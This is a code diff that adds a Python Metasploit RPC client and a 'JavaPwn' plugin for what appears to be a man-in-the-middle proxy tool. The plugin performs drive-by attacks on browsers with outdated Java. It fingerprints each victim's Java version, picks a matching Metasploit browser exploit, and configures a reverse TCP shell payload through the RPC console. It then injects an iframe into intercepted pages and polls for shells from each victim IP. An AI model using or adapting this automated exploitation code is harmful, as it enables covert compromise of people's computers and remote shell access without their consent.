diff --git a/msfrpc.py b/msfrpc.py new file mode 100644 index 0000000..e7aaeca --- /dev/null +++ b/msfrpc.py @@ -0,0 +1,88 @@ +#! /usr/bin/env python +# MSF-RPC - A Python library to facilitate MSG-RPC communication with Metasploit +# Ryan Linn - RLinn@trustwave.com, Marcello Salvati - byt3bl33d3r@gmail.com +# Copyright (C) 2011 Trustwave +# This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. +# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. +# You should have received a copy of the GNU General Public License along with this program. If not, see . + + +import requests +import msgpack + +class Msfrpc: + + class MsfError(Exception): + def __init__(self,msg): + self.msg = msg + def __str__(self): + return repr(self.msg) + + class MsfAuthError(MsfError): + def __init__(self,msg): + self.msg = msg + + def __init__(self,opts=[]): + self.host = opts.get('host') or "127.0.0.1" + self.port = opts.get('port') or "55552" + self.uri = opts.get('uri') or "/api/" + self.ssl = opts.get('ssl') or False + self.token = None + self.headers = {"Content-type" : "binary/message-pack"} + + def encode(self, data): + return msgpack.packb(data) + + def decode(self, data): + return msgpack.unpackb(data) + + def call(self, method, opts=[]): + if method != 'auth.login': + if self.token == None: + raise self.MsfAuthError("MsfRPC: Not Authenticated") + + if method != "auth.login": + opts.insert(0, self.token) + + if self.ssl == True: + url = "https://%s:%s%s" % (self.host, self.port, self.uri) + else: + url = "http://%s:%s%s" % (self.host, self.port, self.uri) + + + opts.insert(0, method) + payload = self.encode(opts) + + r = requests.post(url, data=payload, headers=self.headers) + + opts[:] = [] #Clear opts list + + return self.decode(r.content) + + def login(self, user, password): + auth = self.call("auth.login", [user, password]) + try: + if auth['result'] == 'success': + self.token = auth['token'] + return True + except: + raise self.MsfAuthError("MsfRPC: Authentication failed") + +if __name__ == '__main__': + + # Create a new instance of the Msfrpc client with the default options + client = Msfrpc({}) + + # Login to the msfmsg server using the password "abc123" + client.login('msf','abc123') + + # Get a list of the exploits from the server + mod = client.call('module.exploits') + + # Grab the first item from the modules value of the returned dict + print "Compatible payloads for : %s\n" % mod['modules'][0] + + # Get the list of compatible payloads for the first option + ret = client.call('module.compatible_payloads',[mod['modules'][0]]) + for i in (ret.get('payloads')): + print "\t%s" % i diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py index 1488cad..de9e404 100644 --- a/plugins/BrowserProfiler.py +++ b/plugins/BrowserProfiler.py @@ -16,7 +16,7 @@ class BrowserProfiler(Inject, Plugin): self.dic_output = {} # so other plugins can access the results print "[*] Browser Profiler online" - def post2dict(self, string): + def post2dict(self, string): #converts the ajax post to a dic dict = {} for line in string.split('&'): t = line.split('=') diff --git a/plugins/JavaPwn.py b/plugins/JavaPwn.py new file mode 100644 index 0000000..2b6f7c8 --- /dev/null +++ b/plugins/JavaPwn.py @@ -0,0 +1,179 @@ +# +# Work in progress +# +from plugins.plugin import Plugin +from plugins.BrowserProfiler import BrowserProfiler +from time import sleep +import string +import random +import threading +import logging +import sys, os +import msfrpc + +class JavaPwn(BrowserProfiler, Plugin): + name = "JavaPwn" + optname = "javapwn" + desc = "Performs drive-by attacks on clients with out-of-date java browser plugins" + has_opts = True + + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + self.msfip = options.msfip + self.msfport = options.msfport + + if not self.msfip: + sys.exit('[-] JavaPwn plugin requires --msfip') + + #Correlates java versions with their relative exploits + self.javaVersionDic = {1.705: "java_verifier_field_access", + 1.703: "java_atomicreferencearray"} + #add your exploits here converting the max affected java version to a float (e.g. java version 1.7.05 => 1.705) + + self.sploited_ips = [] # store ip of pwned or not vulnarable clients so we don't re-exploit + + try: + msf = msfrpc.Msfrpc({}) #create an instance of msfrpc libarary + msf.login('msf', 'abc123') + version = msf.call('core.version')['version'] + print "[*] Succesfully connected to Metasploit v%s" % version + except: + sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and ran 'load msgrpc Pass=abc123'") + + #Initialize the BrowserProfiler plugin + BrowserProfiler.initialize(self, options) + + print "[*] JavaPwn plugin online" + t = threading.Thread(name='pwn', target=self.pwn, args=(msf,)) + t.setDaemon(True) + t.start() #start the main thread + + def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning) + return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5)) + + def version2float(self, version): #converts clients java version string to a float so we can compare the value to self.javaVersionDic + v = version.split(".") + return float(v[0] + "." + "".join(v[-(len(v)-1):])) + + def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions + #inject iframe + logging.info("%s >> \t now injecting iframe to trigger exploit" % client_ip) + self.html_payload = "" % (self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects + + logging.info('%s >> \t waiting for ze shells, Please wait...' % client_ip) + + exit = False + i = 1 + while i <= 15: #wait max 30 seconds for a new shell + if exit == True: + break + shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions + if len(shell) > 0: + for k,v in shell.items(): + if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted + logging.info("%s >> \t Got shell!" % client_ip) + self.sploited_ips.append(client_ip) #target successfuly exploited + exit = True + break + sleep(2) + i+=1 + + if exit == False: #We didn't get a shell + logging.info("%s >> \t session not established after 30 seconds" % client_ip) + + self.html_payload = self.get_payload() # restart the BrowserProfiler plugin + + def pwn(self, msfinstance): + while True: + if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled + + brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format + + if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited + + vic_ip = brwprofile['ip'] + + client_version = self.version2float(brwprofile['java_version']) #convert the clients java string version to a float + + logging.info("%s client has java version %s installed! Proceeding..." % (vic_ip, brwprofile['java_version'])) + logging.info("%s >> \t Choosing exploit based on version string" % vic_ip) + + min_version = min(self.javaVersionDic, key=lambda x: abs(x-client_version)) #retrives the exploit with minimum distance from the clients version + + if client_version < min_version: #since the two version strings are now floats we can use the < operand + + exploit = self.javaVersionDic[min_version] #get the exploit string for that version + + logging.info("%s >> \t client is vulnerable to %s!" % (vic_ip, exploit)) + + msf = msfinstance + + #here we check to see if we already set up the exploit to avoid creating new jobs for no reason + jobs = msf.call('job.list') #get running jobs + if len(jobs) > 0: + for k,v in jobs.items(): + info = msf.call('job.info', [k]) + print info + if exploit in info['name']: + logging.info('%s >> \t %s exploit already started' % (vic_ip, exploit)) + url = info['uripath'] #get the url assigned to the exploit + self.injectWait(msf, url, vic_ip) + + else: #here we setup the exploit + rand_url = self.rand_url() # generate a random url + rand_port = random.randint(1000, 65535) # generate a random port for the payload listener + + + #generate the command string to send to the virtual console + #new line character very important as it simulates a user pressing enter + cmd = "use exploit/multi/browser/%s\n" % exploit + cmd += "set SRVPORT %s\n" % self.msfport + cmd += "set URIPATH %s\n" % rand_url + cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter (plus its multi-platform! Yay java!) + cmd += "set LHOST %s\n" % self.msfip + cmd += "set LPORT %s\n" % rand_port + cmd += "exploit -j\n" + + logging.debug("command string:\n%s" % cmd) + + try: + logging.info("%s >> \t sending commands to metasploit" % vic_ip) + + #Create a virtual console + console_id = msf.call('console.create')['id'] + + #write the cmd to the newly created console + msf.call('console.write', [console_id, cmd]) + + logging.info("%s >> \t commands sent succesfully" % vic_ip) + except Exception, e: + logging.info('%s >> \t Error accured while interacting with metasploit: %s:%s' % (vic_ip, Exception, e)) + + self.injectWait(msf, rand_url, vic_ip) + msfinstance.call('console.destroy', [console_id]) #destroy the virtual console + else: + logging.info("%s >> \t client is not vulnerable to any java exploit" % vic_ip) + self.sploited_ips.append(vic_ip) + sleep(0.5) + else: + sleep(0.5) + else: + sleep(0.5) + + def add_options(self, options): + options.add_argument('--msfip', dest='msfip', help='IP Address of MSF') + options.add_argument('--msfport', dest='msfport', default='8080', help='Port of MSF web-server [default: 8080]') + + def finish(self): + '''This will be called when shutting down''' + msf = msfrpc.Msfrpc({}) + msf.login('msf', 'abc123') + jobs = msf.call('job.list') + print '[*] Stopping all running metasploit jobs' + if len(jobs) > 0: + for k,v in jobs.items(): + msf.call('job.stop', [k]) + + +